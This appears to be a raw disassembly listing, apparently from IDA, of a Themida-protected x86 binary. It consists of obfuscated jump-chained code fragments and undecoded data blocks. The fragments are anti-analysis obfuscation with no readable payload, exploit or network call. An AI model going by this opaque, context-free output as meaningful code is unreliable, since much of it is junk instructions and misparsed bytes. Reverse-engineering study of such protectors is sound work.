loc_56EFDF:				; CODE XREF: Themida_:0056D029j
		xchg	ebp, [esp]
		pop	esp
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		bswap	eax
		push	797Fh
		mov	[esp], eax
		jmp	loc_55D86D
; ---------------------------------------------------------------------------

loc_56EFFE:				; CODE XREF: Themida_:005665B9j
		push	ebp
		mov	ebp, 3C175AF2h
		sub	ebp, 3C175AEEh
		add	ecx, ebp
		pop	ebp
		jmp	loc_56C7B5
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 60FC24E9h, 0C281EA29h, 60FC24E9h, 0FF7C14E9h, 2BBFFh
		dd 2D680000h, 89000068h, 47682404h, 581F2246h, 4004E8C1h
		dd 6982BF57h, 0EFC12E02h, 95E8E907h, 15FFFFFh, 1C875AD3h
		dd 0E8835C24h, 74FF5002h, 8F580424h, 0D4E92404h, 81FFFF1Dh
		dd 0C37EE3EFh, 5FF829B8h, 5D2434FFh, 2904C483h,	0BA5256D8h
		dd 399D0FB8h, 0B2317BEh, 71E0E95Ch, 0CE81FFFFh,	0AEC7DB3h
		dd 81FFEE83h, 45BD04C6h, 9946E98Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56F09A:				; CODE XREF: Themida_:00564FE6j
		neg	ebx
		xor	ebx, 20CB376Fh
		jmp	loc_566BFF
; ---------------------------------------------------------------------------

loc_56F0A7:				; CODE XREF: Themida_:0055F3CCj
		sub	ebx, 6D140363h
		add	ebx, esi
		add	ebx, 6D140363h
		jmp	loc_56B568
; ---------------------------------------------------------------------------

loc_56F0BA:				; CODE XREF: Themida_:005677C9j
		pop	esp
		jmp	loc_569E0B
; ---------------------------------------------------------------------------

loc_56F0C0:				; CODE XREF: Themida_:0056DA33j
		xor	[esp], ebx
		jmp	loc_55DEB1
; ---------------------------------------------------------------------------
		dd 2B951h, 0C8010000h, 0FFB183E9h, 0FFED80FFh, 8E9C580h
		dd 0E2C8E9ECh, 5D54FFFFh, 1167E9h, 726FB800h, 16E9024Ah
		dd 8BFFFEEBh, 0C4812434h, 4, 6804C483h,	2E43h, 0BB241C89h
		dd 4, 58EBF57h,	0FE293B45h, 0E9DE015Fh,	33B0h
; ---------------------------------------------------------------------------

loc_56F11C:				; CODE XREF: Themida_:0055FF31j
		xor	eax, 975452Eh
		sub	eax, 0C37262Ah
		add	ecx, eax
		pop	eax
		jmp	loc_566D95
; ---------------------------------------------------------------------------

loc_56F12E:				; CODE XREF: Themida_:00560CDEj
		push	eax
		push	esi
		mov	eax, [esp]
		jmp	loc_569747
; ---------------------------------------------------------------------------

loc_56F138:				; CODE XREF: Themida_:00564212j
		push	ebx
		push	edi
		push	44266F07h
		mov	edi, [esp]
		add	esp, 4
		shl	edi, 8
		add	edi, 39257766h
		and	edi, 216B6F32h
		add	edi, 706CB208h
		mov	ebx, edi
		jmp	loc_56306E
; ---------------------------------------------------------------------------
		dd 81240C8Bh, 4C4h, 48C48000h, 5158E300h, 0E980BBB1h, 59CB00C4h
		dd 0E994EB80h, 0FFFF8948h
; ---------------------------------------------------------------------------

loc_56F184:				; CODE XREF: Themida_:00569BF9j
		sub	dword ptr [esp+4], 18BC338Ch
		add	[esp+4], edx
		add	dword ptr [esp+4], 18BC338Ch
		pop	edx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_56070C
; ---------------------------------------------------------------------------
		dw 0EE89h
		dd 8DC1815Dh, 1600877h,	8DE981F1h, 5E600877h, 0E9240C87h
		dd 0FFFF22CEh, 2BCB6857h, 0E95F7EFDh, 2482h
; ---------------------------------------------------------------------------

loc_56F1C8:				; CODE XREF: Themida_:00561E35j
		mov	edi, esp
		add	edi, 4
		jmp	loc_56A6D8
; ---------------------------------------------------------------------------
		db 53h,	68h, 6Fh
		dd 5B2F656Fh, 0BF57DBF7h, 1, 0E95FFB01h, 0FFFFFAE0h
; ---------------------------------------------------------------------------

loc_56F1EC:				; CODE XREF: Themida_:0056A91Bj
		push	esp
		pop	edx
		jmp	loc_5644B0
; ---------------------------------------------------------------------------

loc_56F1F3:				; CODE XREF: Themida_:0055E3C1j
		mov	edi, [esp]
		add	esp, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_567900
; ---------------------------------------------------------------------------

loc_56F20A:				; CODE XREF: Themida_:005671E7j
		inc	esi
		and	esi, 18C869ECh
		xor	esi, 73F46A92h
		add	esi, 94C3FC92h
		add	ebx, esi
		pop	esi
		sub	ebx, 4
		jmp	loc_56D9C3
; ---------------------------------------------------------------------------
		db 83h
		dd 685204C4h, 179Ah, 0B0240489h, 486068F0h, 4890000h, 0E973B024h
		dd 0FFFF9D5Bh, 0F341E95Ch, 875BFFFEh, 248B242Ch, 2434FF24h
		dd 0E9240C8Bh, 0FFFF912Bh, 4240483h, 5724048Fh,	7F9E956h
		dd 0C4830000h, 0E930FF04h, 0FFFF290Ch, 83243C8Bh, 348904ECh
		dd 81E68924h, 4C6h, 4BB5300h, 0E9000000h, 0FFFFA408h
; ---------------------------------------------------------------------------

loc_56F294:				; CODE XREF: Themida_:0056B984j
		mov	cl, dl
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_568D6C
; ---------------------------------------------------------------------------
		db 4Fh,	0C1h, 0E7h
		dd 65C78103h, 81015B26h, 0EF30C4E7h, 0E6F78176h, 813EE764h
		dd 827466F7h, 5FF88928h, 0FF610BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56F2C9:				; CODE XREF: Themida_:00571222j
		pop	edx
		sub	ecx, 0B8137D0h
		push	ecx
		dec	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		or	ecx, 4E073A8h
		sub	ecx, 5DEA77A4h
		jmp	loc_561D98
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4C28104h, 83000000h,	5FE904ECh, 54FFFF28h, 4C5815Dh
		dd 52000000h, 0DD2BF5BAh, 0E3F5E964h, 0C481FFFFh, 4, 4246C01h
		dd 3EEAE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56F322:				; CODE XREF: Themida_:005718F6j
		shr	eax, 12h
		xor	eax, ecx
		jmp	loc_56729D
; ---------------------------------------------------------------------------
		dd 24048B66h, 8904EC83h, 0E589242Ch, 36BF68h, 24348900h
		dd 0FF6BDFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56F345:				; CODE XREF: Themida_:0055E807j
		mov	ebx, 43C335E5h
		jmp	loc_568CE9
; ---------------------------------------------------------------------------

loc_56F34F:				; CODE XREF: Themida_:0056D771j
		add	ebx, 76771A2Dh
		pop	esi
		add	ebx, 6CBA0BC8h
		pop	ebp
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 66DC6578h
		xor	ebx, 66DC655Ch
		jmp	loc_5704A1
; ---------------------------------------------------------------------------
		db 56h
		dd 390AEABEh, 0A5E9510Bh, 81FFFFDDh, 36D630EDh,	0B15AE910h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56F3A6:				; CODE XREF: Themida_:005682C6j
		mov	eax, 3324413Dh
		not	eax
		jmp	loc_569E80
; ---------------------------------------------------------------------------
		dw 8F5Ch
		dd 248B2404h, 24148924h, 0AAE99C50h, 31FFFEE4h,	223E9CFh
		dd 8957FFFFh, 91C2E9E7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56F3D2:				; CODE XREF: Themida_:0056D11Ej
		pop	ecx
		jmp	loc_5688FE
; ---------------------------------------------------------------------------
		dd 24048966h, 0FEE48CE9h, 5DE801FFh, 252DF001h,	562F864Eh
		dd 1F46E9h, 24148900h, 397205BAh, 8BA5BE2Ah, 0D601C586h
		dd 9772E95Ah, 0CB01FFFFh, 0FEE986E9h, 9BE952FFh
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56F413:				; CODE XREF: Themida_:0056C516j
		add	dword ptr [esp], 11A06FAFh
		pop	dword ptr [ebx]
		push	ecx
		mov	ecx, 11A06FAFh
		sub	[ebx], ecx
		pop	ecx
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_56E277
; ---------------------------------------------------------------------------
		db 5Ah,	8Bh, 1Ch
		dd 0C0CEE924h, 6C81FFFFh, 58310424h, 7C013314h,	0BA520424h
		dd 33145831h, 8244481h,	21DC5114h, 0FF7725E9h, 243C87FFh
		dd 0E924248Bh, 0FFFF0B65h, 5F54575Ah, 0FF65F4E9h, 0BEC181FFh
		dd 0E9246958h, 0FFFFA5DCh, 8324048Bh, 0E95304C4h, 0FFFF601Eh
		dd 622F685Ah, 3C890000h, 4BF24h, 0EC810000h, 4,	0E9240C89h
		dd 0FFFFC399h
; ---------------------------------------------------------------------------

loc_56F4AC:				; CODE XREF: Themida_:0055F843j
		neg	ebx
		not	ebx
		shl	ebx, 2
		sub	ebx, 0FFFFFFFFh
		add	ebx, 6D817005h
		mov	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_564B05
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0B6E92404h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56F4D7:				; CODE XREF: Themida_:00571404j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_5680D7
; ---------------------------------------------------------------------------
		dw 0E9ACh
		dd 0FFFFECD1h, 405h, 4C08300h, 5C240487h, 0FF551EE9h, 0FC6859FFh
		dd 0E900001Ch, 2177h, 24866866h, 24148966h, 53EE9h, 4EC8100h
		dd 89000000h, 0C9E9243Ch, 59FFFEE8h, 815AD301h,	0D60A90C3h
		dd 39F1E90Ch, 48BFFFFh,	4C48124h, 0E9000000h, 0FFFF3E2Bh
		dd 0E9243C89h, 0FFFF9C4Ch
; ---------------------------------------------------------------------------

loc_56F554:				; CODE XREF: Themida_:00561ED7j
		add	esp, 4
		push	edx
		push	esi
		jmp	loc_565082
; ---------------------------------------------------------------------------
		dw 0CE21h
		dd 592434FFh, 4C481h, 0E9550000h, 0FFFFAC44h
; ---------------------------------------------------------------------------

loc_56F570:				; CODE XREF: Themida_:0056ABBEj
		xor	ebx, ecx
		jmp	loc_5640D1
; ---------------------------------------------------------------------------
		db 83h
		dd 0E9042404h, 0FFFFB812h
; ---------------------------------------------------------------------------

loc_56F580:				; CODE XREF: Themida_:005624F1j
		push	dword ptr [esp]
		pop	ecx
		push	1A7Fh
		mov	[esp], ecx
		push	1371h
		push	esp
		pop	dword ptr [esp]
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		pop	ecx
		push	esi
		mov	esi, 12793F0Eh
		dec	esi
		jmp	loc_55EBEE
; ---------------------------------------------------------------------------
		db 0Dh,	39h, 40h
		dd 100D33E9h, 5052D4Dh,	1BDB9CF6h, 0E958C329h, 0FFFF7AC0h
; ---------------------------------------------------------------------------

loc_56F5C4:				; CODE XREF: Themida_:0056157Aj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xchg	eax, [esp]
		jmp	loc_563718
; ---------------------------------------------------------------------------

loc_56F5DF:				; CODE XREF: Themida_:00571879j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 63029BDh
		mov	edi, ebp
		pop	ebp
		sub	edi, 443D1D05h
		dec	edi
		neg	edi
		jmp	loc_562BF4
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 47236EF1h, 59CE291Bh, 3533E981h, 0C18129F2h,	67DC2410h
		dd 32E9F101h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56F61B:				; CODE XREF: Themida_:00566ED4j
		pop	ecx
		sub	ebx, ecx
		sub	ebx, 40EC170Eh
		mov	ecx, [esp]
		jmp	loc_56CD78
; ---------------------------------------------------------------------------
		dd 8704C483h, 248B240Ch, 14A4E924h, 0E95A0000h,	0FFFF5028h
; ---------------------------------------------------------------------------

loc_56F640:				; CODE XREF: Themida_:005629E5j
		and	dl, 0FEh
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_56D53B
; ---------------------------------------------------------------------------
		db 52h
		dd 0EAC002B2h, 80DAF607h, 0CAFE2CF2h, 0FFA144E9h, 48F5EFFh
		dd 0E3815C24h, 420D0A4Fh, 4E3C143h, 0FFACB2E9h,	525059FFh
		dd 0FFC182E9h, 8BD101FFh, 0C4812414h, 4, 4C181h, 0C870000h
		dd 0BEE95C24h, 50FFFEE1h, 4B8h,	58C20100h, 31241433h, 59E92414h
		dd 0F7FFFF68h, 0EEDD35D8h, 0E32DB0CBh, 357BE643h, 1AD55830h
		dd 0FF6C17E9h, 4C381FFh, 81000000h, 4C3h, 74FF5300h, 8F5B0424h
		dd 0E95C2404h, 0FFFF07BBh, 5359C801h, 4BBh, 0E9D80100h
		dd 0FFFF5055h, 1C8BDE01h, 4C48124h, 83000000h, 0BE904C6h
		dd 54FFFF8Ah, 76C685Eh,	0C890000h, 4B924h, 0CE010000h
		dd 0FFBA88E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56F72D:				; CODE XREF: Themida_:0056A966j
		push	eax
		jmp	loc_56BACF
; ---------------------------------------------------------------------------

loc_56F733:				; CODE XREF: Themida_:0056B504j
		not	edi
		xchg	edi, ecx
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xchg	eax, esi
		and	esi, 3B6A6855h
		xor	esi, 10602810h
		mov	[edi+20h], esi
		mov	esi, [esp]
		jmp	loc_55DA11
; ---------------------------------------------------------------------------
		dw 5D5Bh
		dd 0BB59CE89h, 53487260h, 0E95EF331h, 0FFFF3FE0h, 783255B9h
		dd 8E1C112h, 49F9C181h,	92E910B6h, 54FFFEEDh, 4B9515Eh
		dd 1000000h, 0C68359CEh, 24348704h, 5FF3E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56F79E:				; CODE XREF: Themida_:005722B6j
		pop	esi
		xor	edx, ecx
		pop	ecx
		jmp	loc_568761
; ---------------------------------------------------------------------------
		db 0BEh
		dd 2EE134BDh, 1BE9F529h
		db 34h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56F7B3:				; CODE XREF: Themida_:00569F0Aj
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edi
		push	2C1D6703h
		pop	edi
		xor	edi, 11846D0Bh
		push	edx
		mov	edx, edi
		mov	ebx, edx
		jmp	loc_56B01B
; ---------------------------------------------------------------------------

loc_56F7DB:				; CODE XREF: Themida_:0055EF8Cj
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56E436
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48124h, 53000000h,	0C381E389h, 4, 4EB81h, 1C870000h
		dd 0C895C24h, 0D60BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56F80A:				; CODE XREF: Themida_:00571EB8j
		pop	ecx
		push	edx
		push	ebp
		push	31230829h
		pop	ebp
		sub	ebp, 468010E7h
		jmp	loc_55FEB7
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 517133Bh, 51C3C681h,	0EEC12210h, 0F5C68102h,	0E9CFA8FCh
		dd 0FFFFB339h, 241C8759h, 241C895Ch, 0EB8087B3h, 0D02CE959h
		dd 48BFFFFh, 4C48124h, 50000000h, 555AA0B8h, 0CD0E96Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56F85E:				; CODE XREF: Themida_:00571FD9j
		mov	ebx, 0EF079C7h
		shl	ebx, 2
		add	ebx, 446B4E49h
		sub	ebx, 51FC30EBh
		jmp	loc_56CAA5
; ---------------------------------------------------------------------------
		db 56h
		dd 7C01BF57h, 0B85025B5h, 3DC31717h, 65E9C701h,	5AFFFFE5h
		dd 0FF831CE9h, 0FFEA89FFh, 815D2434h, 4C4h, 2434FF00h
		dd 4C48158h, 0E9000000h, 0FFFEFC3Bh, 89E95351h,	0ADFFFFAEh
		dd 4EC81h, 0D5E90000h, 0B2FFFF9Ah, 0C0C2FE32h, 0F28008EAh
		db 6Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5641FD
; ---------------------------------------------------------------------------
		db 5Dh,	0E9h, 0EFh
		dd 33FFFF87h, 0FCE92434h, 33FFFFB6h, 685C242Ch,	0D24h
		dd 0FEEDDDE9h, 24248BFFh, 0E9243C89h, 0B97h
; ---------------------------------------------------------------------------

loc_56F8F8:				; CODE XREF: Themida_:005600C3j
		mov	eax, 4
		add	ebp, eax
		pop	eax
		jmp	loc_570C2D
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 65h
		dd 0E970B356h, 0FFFF2BA3h, 0B5515066h, 59E88838h, 288FC380h
		dd 8FEB80C3h, 24048B66h, 2C481h, 0CB280000h, 0FF0AE4E9h
		dd 4875AFFh, 1B22E924h,	0C2D0000h, 0E96333CEh, 0FFFFB462h
		dd 0E932FF64h, 0FFFEDF21h
; ---------------------------------------------------------------------------

loc_56F94C:				; CODE XREF: Themida_:00567C83j
		mov	edx, 4EDB68C2h
		inc	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 7F2851EDh
		jmp	loc_562DCA
; ---------------------------------------------------------------------------
		db 88h,	0C5h, 88h
		dd 885259EAh, 5AD088EAh, 0C9E9D588h, 33000017h,	665C242Ch
		dd 2404AB0Fh, 0DEE7E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56F986:				; CODE XREF: Themida_:0055DA2Cj
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	6714h
		mov	[esp], ecx
		mov	ecx, 5939440Bh
		jmp	loc_563F37
; ---------------------------------------------------------------------------
		db 51h,	0B5h, 0FCh
		dd 0E959EE88h, 0FFFF3A09h, 0E9241CF7h, 0FFFEEA6Fh, 8007EBC0h
		dd 8851E8F3h, 0E9CA88D9h, 2A3h,	23A2E95Ah, 0E959FFFFh
		dd 0FFFF0ED0h
; ---------------------------------------------------------------------------

loc_56F9CC:				; CODE XREF: Themida_:0056FA23j
		mov	ecx, [esp]
		add	esp, 4
		pop	eax
		pop	ebx
		dec	dh
		not	dh
		jmp	loc_56670F
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 68000000h, 1FB1h, 0E9241C89h, 0FFFFF05Dh
; ---------------------------------------------------------------------------

loc_56F9F0:				; CODE XREF: Themida_:005706F8j
		sub	edx, 0CD33C58Bh
		jmp	loc_569130
; ---------------------------------------------------------------------------

loc_56F9FB:				; CODE XREF: Themida_:00565D02j
		mov	edx, eax
		pop	eax
		jmp	loc_570D06
; ---------------------------------------------------------------------------

loc_56FA03:				; CODE XREF: Themida_:0056BD3Aj
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5720BE
; ---------------------------------------------------------------------------

loc_56FA1F:				; CODE XREF: Themida_:0055E76Bj
		mov	ch, ah
		mov	dh, ch
		jmp	loc_56F9CC
; ---------------------------------------------------------------------------

loc_56FA28:				; CODE XREF: Themida_:00570324j
		pop	edx
		jmp	loc_56BD97
; ---------------------------------------------------------------------------
		dw 0E1C1h
		dd 9EE98105h, 512E39EAh, 788668h, 242C8900h, 0E9BE9h
		db 0
; ---------------------------------------------------------------------------

loc_56FA45:				; CODE XREF: Themida_:00564663j
		push	eax
		mov	eax, 59712226h
		xchg	eax, ebp
		not	ebp
		push	eax
		push	ebp
		pop	eax
		pop	ebp
		xchg	eax, ebp
		dec	ebp
		xchg	eax, ebp
		and	eax, 20131685h
		jmp	loc_56BC23
; ---------------------------------------------------------------------------
		db 66h
		dd 0DFE99C50h, 0BEFFFFACh, 3919618Bh, 279FE9h, 4C48100h
		dd 31000000h, 89535FF8h, 4C381E3h, 83000000h, 1C8704EBh
		dd 34895C24h, 0F753E924h, 815BFFFEh, 310EB2EBh,	0E9DE893Fh
		dd 332h, 0E7E9D8F6h, 81FFFF96h,	9971C6E7h, 23F78131h, 0E9523446h
		dd 0FFFF961Fh, 7C0E95Fh, 8B66FFFFh, 67682404h, 8900003Ch
		dd 5954240Ch, 4C181h, 2F680000h, 8900001Bh, 68522404h
		dd 4171FF4h, 0FFFB55E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56FAE5:				; CODE XREF: Themida_:00560E32j
		mov	edx, ebx
		pop	ebx
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_5616B0
; ---------------------------------------------------------------------------
		dd 68243489h, 11D6h, 0E9240489h, 0FFFF3B19h, 437D2968h
		dd 7AE95956h
		db 33h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56FB1F:				; CODE XREF: Themida_:0056637Aj
		mov	ebx, 78DC38D0h
		jmp	loc_563431
; ---------------------------------------------------------------------------

loc_56FB29:				; CODE XREF: Themida_:00562BF5j
		dec	edi
		jmp	loc_560551
; ---------------------------------------------------------------------------
		db 1
		dd 0B7685EF3h, 89000077h, 17BD242Ch, 126AC76h, 0C3015DEBh
		dd 7617EB81h, 0E6E926ACh, 29FFFF66h, 240C8BCBh,	0FF91C9E9h
		dd 0C8B951FFh, 0E96F61EAh, 0FFFFC1F8h
; ---------------------------------------------------------------------------

loc_56FB64:				; CODE XREF: Themida_:0055FEE7j
		push	ecx
		mov	ch, 22h
		xor	ch, 70h
		sub	bl, ch
		pop	ecx
		jmp	loc_56D631
; ---------------------------------------------------------------------------
		dw 0D2F7h
		dd 0F9ECC281h, 3CE9EE54h, 5FFFF20h, 4, 8B240487h, 99E92424h
		db 7Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56FB8F:				; CODE XREF: Themida_:005616E2j
		mov	ebx, 18921499h
		sub	eax, ebx
		pop	ebx
		jmp	loc_56AED5
; ---------------------------------------------------------------------------

loc_56FB9C:				; CODE XREF: Themida_:0056876Cj
		mov	ecx, 424D0936h
		mov	esi, ecx
		mov	ecx, [esp]
		jmp	loc_55FDA5
; ---------------------------------------------------------------------------

loc_56FBAB:				; CODE XREF: Themida_:00564A82j
		push	esp
		pop	eax
		add	eax, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_56E563
; ---------------------------------------------------------------------------
		db 0BDh, 79h, 76h
		dd 0E9297803h, 6768565Dh, 5E20CB08h, 0FFC8C3E9h, 56E589FFh
		dd 4BEh, 57DB6800h, 0D7E90000h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56FBE3:				; CODE XREF: Themida_:00564E5Cj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_56A4BF
; ---------------------------------------------------------------------------
		dd 0FEDC78E9h, 0C4835FFFh, 65A0504h, 0B2D423Ah,	2909DF2Ch
		dd 0E9B7E9D8h, 0C481FFFFh, 4, 0FA6D7A2Dh, 54852D12h, 0E3050B70h
		dd 14CF56Ch, 6CE32DD0h,	1E94CF5h, 66FFFFF3h, 5624048Bh
		dd 0BFE95E54h, 89FFFF28h, 0E953240Ch, 0FFFEE9CDh, 24DCE956h
		dd 875BFFFFh, 24148BD6h, 4C481h, 0EEC10000h, 3E6C108h
		dd 83FFC683h, 0F7E901EEh, 8BFFFFAAh, 0BFE9240Ch, 66000014h
		dd 9C243CD3h, 0FEDBF8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56FC75:				; CODE XREF: Themida_:00564945j
		xor	edx, 719152C3h
		add	ebp, edx
		pop	edx
		pop	ebx
		push	ecx
		jmp	loc_565FA3
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 44h
		dd 2BCB0424h, 34FF7EFDh, 0E679E924h, 158FFFFh, 0F7E7E9E9h
		dd 0E381FFFEh, 14C87F40h, 8104E3C1h, 780C04C3h,	5BDD89B3h
		dd 0ECE9EB29h, 0BDFFFF70h, 43211C29h, 0D5F7D5F7h, 0E56DC581h
		dd 0E9293979h, 56D9015Dh, 4872A9BEh, 4FF68137h,	0F75BE979h
		dd 0E276E9DEh, 5246FFFFh, 8FBD5557h, 0BF754A5Bh, 656F0F6Ah
		dd 895DEF31h, 0D2F75FFAh, 65E0CA81h, 0E2C12E65h, 81DAF705h
		dd 72F540F2h, 5AD601E3h, 0FF116FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56FD0D:				; CODE XREF: Themida_:00572680j
		or	ecx, 7AA11A17h
		or	ecx, 57573516h
		jmp	loc_568206
; ---------------------------------------------------------------------------
		dw 0BBFh
		dd 5076FF0Eh, 0DC6E5968h, 0A517E93Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56FD2E:				; CODE XREF: Themida_:00568864j
		neg	ebx
		neg	ebx
		or	ebx, 34822C0Dh
		jmp	loc_56B591
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 6C8768h, 24048900h, 0DCFBE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56FD4E:				; CODE XREF: Themida_:0056EEEAj
		xor	eax, [esp]
		pop	esp
		jmp	loc_562948
; ---------------------------------------------------------------------------
		db 51h
		dd 9E9FD88h, 8B000005h,	0C4812414h, 4, 0FFD51DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56FD6D:				; CODE XREF: Themida_:0056231Cj
		sub	esi, 14B44AD7h
		inc	esi
		neg	esi
		jmp	loc_5653B0
; ---------------------------------------------------------------------------

loc_56FD7B:				; CODE XREF: Themida_:0056A365j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_56EA02
; ---------------------------------------------------------------------------

loc_56FDA1:				; CODE XREF: Themida_:005685F7j
		add	ecx, 0C63780F9h
		xor	edx, ecx
		pop	ecx
		jmp	loc_56ED60
; ---------------------------------------------------------------------------
		db 81h
		dd 0F443DCC5h, 4EDC175h, 0D5F7D5F7h, 0F16BC581h, 0E98940A2h
		dd 3FBE565Dh, 295EBE16h, 703BE9F1h, 55BFFFFh, 73A749BDh
		dd 0BD2DF001h, 8B73A749h, 80E92434h
		db 7Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56FDE7:				; CODE XREF: Themida_:0056B19Aj
		pop	edi
		jmp	loc_571DE9
; ---------------------------------------------------------------------------
		db 0BFh, 4, 0
		dd 0C6810000h, 44D057D6h, 0EE81FE01h, 44D057D6h, 0FF3CDEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56FE05:				; CODE XREF: Themida_:00565372j
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		push	edx
		jmp	loc_55F057
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0C0B6E95Eh, 685EFFFFh, 4108h, 0BB241C89h, 7B572740h
		dd 4EC81h, 0C890000h, 245AB924h, 0B850159Dh, 47BB2974h
		dd 0FF1D7DE9h, 0C7C181FFh, 5F7A0B2Fh, 0FF8184E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56FE61:				; CODE XREF: Themida_:0056512Cj
		add	ebp, 4
		jmp	loc_56C044
; ---------------------------------------------------------------------------
		dd 77FA90BDh, 5EF52937h, 6A65E952h, 815AFFFFh, 0C4042444h
		dd 5D373601h, 3993685Eh, 3C890000h, 0FF5BE924h,	0E956FFFFh
		dd 1419h, 8887E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56FE9E:				; CODE XREF: Themida_:00565964j
		add	esi, 4535048Fh
		jmp	loc_56D6AF
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 2434FF04h, 8124048Bh, 4C4h, 0E7895700h, 4C781h, 0C7810000h
		dd 4, 5C243C87h, 8B24048Fh, 59E92424h
		db 14h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56FED7:				; CODE XREF: Themida_:0055DC4Ej
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	eax
		jmp	loc_56EF13
; ---------------------------------------------------------------------------

loc_56FEE7:				; CODE XREF: Themida_:00569BBCj
		mov	edi, esp
		push	ebx
		mov	ebx, 2CF241FFh
		push	edi
		mov	edi, 2CF241FBh
		xor	ebx, edi
		pop	edi
		sub	edi, 26BD3001h
		add	edi, ebx
		push	ebp
		mov	ebp, 2EFB26E0h
		push	esi
		mov	esi, 774969AAh
		not	esi
		jmp	loc_56ADE7
; ---------------------------------------------------------------------------
		db 0Fh
		dd 9C2404A3h, 0FED950E9h, 66EE08FFh, 0D8F68059h, 148BF000h
		dd 4C48324h, 515F5457h,	6F1168h, 241C8900h, 0D2BDE952h
		dd 8F5AFFFFh, 248B2404h, 4316624h, 1EE99C24h, 89FFFED9h
		dd 0E0892404h, 405h, 78B1E900h,	0C781FFFFh, 3A7278BCh
		dd 0FCFDC781h, 0FD012429h, 0C5814D5Fh, 0B9E788FFh, 0A4E9EE21h
